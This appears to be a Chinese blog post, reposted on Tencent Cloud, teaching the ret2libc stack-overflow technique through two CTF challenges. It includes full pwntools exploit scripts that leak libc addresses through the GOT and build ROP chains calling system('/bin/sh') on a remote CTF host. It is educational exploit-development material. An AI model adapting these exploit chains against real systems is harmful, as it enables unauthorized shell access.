前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >PWN ret2libc

PWN ret2libc

作者头像
yulate
发布2023-05-02 11:11:00
5530
发布2023-05-02 11:11:00
举报

本文最后更新于 554 天前,其中的信息可能已经有所发展或是发生改变。

前言

ret2libc 应该是栈溢出里面的一个难点了,在这点上也卡了很久,现在做个学习记录

ret2libc 思路

ROPgadget --binary ./ciscn_2019_c_1可以查看文件拥有的gadget。

一般在溢出的时候都需要用到pop rdi;ret来控制puts从而控制输出,如果是系统版本大于等于ubuntu18的话还会需要用到ret来进行栈对齐。

泄露信息以测算内存中libc地址

获得本elf中的gadgets:

代码语言:javascript
复制
ROPgadget --binary ./ciscn_2019_c_1 --only "pop|ret"
ROPgadget --binary ./ciscn_2019_c_1 --only "ret"

构造泄露信息的payload:

当esp指向pop rdi;ret时,rip指向puts_got。

这意味着rip中的数据是puts_got所保留的put()函数内存地址。它将被利用作为下一步put()的参数。使得控制流被劫持,输出了put()函数在远端服务器的内存中的地址。

最后让程序流返回到开始以继续利用

代码语言:javascript
复制
payload1 = 'A'*(88) + p64(pop_rdi_addr) + p64(put_got) + p64(put_plt) + p64(main_addr)

劫持控制流获得Shell

由于本题未给定libc.so.6的版本,故使用第三方模块LibcSearcher。

根据函数调用过程构造payload:

代码语言:javascript
复制
payload2 = 'A'*(88) + p64(ret) + p64(pop_rdi_ret) + p64(bin_sh_addr) + p64(sys_addr)

例题实战

ciscn_2019_c_1

64位的程序,开了NX保护

很明显的gets函数,溢出点就是这里

payload
代码语言:javascript
复制
from pwn import * 
from LibcSearcher import *

content = 0
context.log_level = 'debug'

elf = ELF('./ciscn_2019_c_1')

# Ubuntu18 栈对齐
ret = 0x4006b9

# 获取puts函数在plt与got表中的地址
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']

# 获取main函数的地址
main_addr = elf.symbols['main']

pop_rdi_ret = 0x400c83

def main():
    if content == 1:
        p = process('ciscn_2019_c_1')
    else:
        p = remote('node4.buuoj.cn',29067)

    # 填满s需要0x50个字符,再加上覆盖r地址的8个字符
    payload = b'a' * (0x50 + 8)

    # 按顺序填入对应的地址,使得再次执行main函数
    payload = payload + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main_addr)

    p.sendlineafter('Input your choice!\n', '1')
    p.sendlineafter('Input your Plaintext to be encrypted\n', payload)

    p.recvuntil('Ciphertext\n')
    p.recvuntil("\n")
    # 找出puts的地址
    puts_addr = u64(p.recvuntil(b'\n',drop=True).ljust(8,b'\x00'))
    print(puts_addr) 

    libc = LibcSearcher('puts',puts_addr)

    # 找出函数地址偏移量
    libc_base = puts_addr - libc.dump('puts')
    # 计算出system的在程序中的地址
    system_addr = libc_base + libc.dump('system')
    # 计算出binsh的在程序中的地址
    binsh_addr = libc_base + libc.dump('str_bin_sh')

    payload2 = b'a' * (0x50 + 8)
    payload2 = payload2 + p64(ret) + p64(pop_rdi_ret) +  p64(binsh_addr) + p64(system_addr)

    p.sendlineafter('Input your choice!\n', '1')
    p.sendlineafter('Input your Plaintext to be encrypted\n', payload2)

    p.interactive()

main()

jarvisoj_level3

32位程序,只有NX保护

32位程序跟64位程序的区别就在于寄存器,32不需要寄存器来填充参数。

payload
代码语言:javascript
复制
from LibcSearcher import *
from pwn import *

context.log_level = 'debug'

content = 0
elf = ELF('./level3')

write_got = elf.got['write']
write_plt = elf.plt['write']
main_addr = elf.sym['main']

def main():
    if content == 1:
        p = process('./level3')
    else:
        p = remote("node4.buuoj.cn", 27321)

    payload = b'a' * (0x88 + 4) + p32(write_plt) + p32(main_addr) + p32(1) + p32(write_got) + p32(4)
    p.recvuntil('Input:\n')
    p.sendline(payload)

    write_addr = u32(p.recv(4))
    libc = LibcSearcher('write', write_addr)
    libc_base = write_addr - libc.dump('write')
    system_addr = libc_base + libc.dump('system')
    binsh_addr = libc_base + libc.dump('str_bin_sh')

    payload = b'a' * (0x88 + 4) + p32(system_addr) + p32(0x10086110) + p32(binsh_addr)
    p.recvuntil('Input:\n')
    p.sendline(payload)

    p.interactive()

main()

浏览量: 28

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2021-10-15 ,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 前言
  • ret2libc 思路
    • 泄露信息以测算内存中libc地址
      • 劫持控制流获得Shell
      • 例题实战
        • ciscn_2019_c_1
          • payload
        • jarvisoj_level3
          • payload
      领券
      问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档